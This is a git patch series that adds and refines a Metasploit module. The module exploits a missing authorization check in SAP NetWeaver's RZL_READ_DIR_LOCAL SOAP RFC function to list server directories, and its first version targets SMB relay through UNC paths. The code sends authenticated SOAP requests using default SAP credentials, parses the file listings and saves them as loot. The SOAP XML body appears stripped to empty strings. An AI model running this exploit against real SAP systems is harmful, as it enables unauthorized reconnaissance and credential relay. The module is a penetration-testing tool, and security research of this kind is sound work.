From 5be98593a921b71afdc4d3c13ab8398667d7843a Mon Sep 17 00:00:00 2001 From: nmonkee Date: Mon, 25 Mar 2013 16:59:37 +0000 Subject: [PATCH 1/6] RZL_READ_DIR_LOCAL (directory listing and SMB relay) --- ...ead_dir_local_dir_listing_and_smb_relay.rb | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100755 modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb new file mode 100755 index 0000000000..3e217c59ec --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb @@ -0,0 +1,97 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# http://www.onapsis.com/research-free-solutions.php. +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts +# in producing the Metasploit modules and was happy to share his knowledge and +# experience - a very cool guy. +# +# The following guys from ERP-SCAN deserve credit for their contributions - +# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and +# Dmitry Evdokimov. +# +# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis +# who have Beta tested the modules and provided excellent feedback. Some people +# just seem to enjoy hacking SAP :) +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'RZL_READ_DIR_LOCAL (directory listing and SMB relay)', + 'Description' => %q{ + This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL Missing Authorization Check And SMB Relay Vulnerability. + SAP Note 1595074 / DSECRG-12-026. + RZL_READ_DIR_LOCAL returns the file names in a given directory. It returns only the first 32 characters of a filename (truncated). + }, + 'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/']], + 'Author' => ['nmonkee'], + 'License' => MSF_LICENSE + ) + + register_options([ + OptString.new('CLIENT', [true, 'SAP client', nil]), + OptString.new('USER', [true, 'Username', nil]), + OptString.new('PASS', [true, 'Password', nil]), + OptString.new('PATH',[true,'File path (e.g. \\xx.xx.xx.xx\share)','c:\\']) + ], self.class) + end + + def run_host(ip) + data = '' + data << '' + data << '' + data << '' + data << '' + data << '' + data << '' + data << '' + data << '' + data << '' + data << '' + data << '' + datastore['PATH'] + '' + data << '' + data << '' + data << '' + user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS']) + begin + print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}") + res = send_request_raw({ + 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'method' => 'POST', + 'data' => data, + 'headers' =>{ + 'Content-Length' => data.size.to_s, + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'Authorization' => 'Basic ' + user_pass, + 'Content-Type' => 'text/xml; charset=UTF-8',} + }, 45) + if res + if datastore['VERBOSE'] == true + print_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s) + print_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s) + print_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s) + end + end + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - Unable to connect") + return + end + end + end From 121c75f646793939bc8c2288736145144cae1e69 Mon Sep 17 00:00:00 2001 From: nmonkee Date: Mon, 25 Mar 2013 20:18:14 +0000 Subject: [PATCH 2/6] vprint_status mod --- ...ap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb index 3e217c59ec..1310cdf56a 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb @@ -83,11 +83,9 @@ class Metasploit4 < Msf::Auxiliary 'Content-Type' => 'text/xml; charset=UTF-8',} }, 45) if res - if datastore['VERBOSE'] == true - print_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s) - print_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s) - print_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s) - end + vprint_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s) + vprint_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s) + vprint_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s) end rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Unable to connect") From eee702a329e12690b24140620365a4f7eb8ea9b9 Mon Sep 17 00:00:00 2001 From: nmonkee Date: Thu, 28 Mar 2013 14:23:21 +0000 Subject: [PATCH 3/6] vprint_status changed to vprint_error as requested --- ...soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb index 1310cdf56a..8a57b66892 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb @@ -83,9 +83,9 @@ class Metasploit4 < Msf::Auxiliary 'Content-Type' => 'text/xml; charset=UTF-8',} }, 45) if res - vprint_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s) - vprint_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s) - vprint_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s) + vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s) + vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s) + vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s) end rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Unable to connect") From 98dd96c57d206166e08897a53503dc7788c184f7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 1 May 2013 21:50:24 -0500 Subject: [PATCH 4/6] Change module filename --- ..._dir_listing_and_smb_relay.rb => sap_soap_rfc_rzl_read_dir.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/sap/{sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb => sap_soap_rfc_rzl_read_dir.rb} (100%) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb similarity index 100% rename from modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay.rb rename to modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb From c4062719210d4fdb31e2d5697e7d7c5727ba6d1a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 1 May 2013 21:51:06 -0500 Subject: [PATCH 5/6] Cleanup sap_soap_rfc_rzl_read_dir --- .../scanner/sap/sap_soap_rfc_rzl_read_dir.rb | 89 ++++++++++++------- 1 file changed, 58 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index 8a57b66892..efb6fd209a 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -31,23 +31,43 @@ class Metasploit4 < Msf::Auxiliary def initialize super( - 'Name' => 'RZL_READ_DIR_LOCAL (directory listing and SMB relay)', + 'Name' => 'SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing', 'Description' => %q{ - This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL Missing Authorization Check And SMB Relay Vulnerability. - SAP Note 1595074 / DSECRG-12-026. - RZL_READ_DIR_LOCAL returns the file names in a given directory. It returns only the first 32 characters of a filename (truncated). - }, - 'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/']], - 'Author' => ['nmonkee'], + This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL function, on the SAP + SOAP RFC Service, to enumerate directory contents. It returns only the first 32 + characters of the filename since they are truncated. + }, + 'References' => [ + [ 'OSVDB', '92732'], + [ 'URL', 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ] + ], + 'Author' => + [ + 'Alexey Tyurin', # Vulnerability discovery + 'nmonkee' # Metasploit module + ], 'License' => MSF_LICENSE - ) + ) register_options([ - OptString.new('CLIENT', [true, 'SAP client', nil]), - OptString.new('USER', [true, 'Username', nil]), - OptString.new('PASS', [true, 'Password', nil]), - OptString.new('PATH',[true,'File path (e.g. \\xx.xx.xx.xx\share)','c:\\']) - ], self.class) + OptString.new('CLIENT', [true, 'SAP Client', '001']), + OptString.new('USERNAME', [true, 'Username', 'SAP*']), + OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc']) + ], self.class) + end + + def parse_xml(xml_data) + files = [] + xml_doc = Nokogiri::XML(xml_data) + xml_doc.css('item').each {|item| + name = item.css('NAME') + size = item.css('SIZE') + if not name.empty? and not size.empty? + files << { "name" => name.text, "size" => size.text } + end + } + return files end def run_host(ip) @@ -64,32 +84,39 @@ class Metasploit4 < Msf::Auxiliary data << '' data << '' data << '' - data << '' + datastore['PATH'] + '' + data << '' + datastore['DIR'] + '' data << '' data << '' data << '' - user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS']) + begin - print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}") - res = send_request_raw({ - 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + vprint_status("#{rhost}:#{rport} - Sending request to enumerate #{datastore['DIR']}") + res = send_request_cgi({ + 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, - 'headers' =>{ - 'Content-Length' => data.size.to_s, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'ctype' => 'text/xml; charset=UTF-8', + 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', - 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], - 'Authorization' => 'Basic ' + user_pass, - 'Content-Type' => 'text/xml; charset=UTF-8',} - }, 45) - if res - vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s) - vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s) - vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s) + }, + 'vars_get' => { + 'sap-client' => datastore['CLIENT'], + 'sap-language' => 'EN' + } + }) + if res and res.code == 200 and res.body =~ /rfc:RZL_READ_DIR_LOCAL.Response/ + files = parse_xml(res.body) + path = store_loot("sap.soap.rfc.dir", "text/xml", rhost, res.body, datastore['DIR']) + print_good("#{rhost}:#{rport} - #{datastore['DIR']} successfully enumerated, results stored on #{path}") + files.each { |f| + vprint_line("Entry: #{f["name"]}, Size: #{f["size"].to_i}") + } end - rescue ::Rex::ConnectionError - print_error("#{rhost}:#{rport} - Unable to connect") + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Unable to connect") return - end end end +end From e25057b64ae96160e6cfdc3cc43ee00dcc19dc20 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 1 May 2013 22:01:36 -0500 Subject: [PATCH 6/6] Fix indent level --- modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index efb6fd209a..bef0e22fff 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -115,8 +115,8 @@ class Metasploit4 < Msf::Auxiliary } end rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Unable to connect") - return + vprint_error("#{rhost}:#{rport} - Unable to connect") + return end end end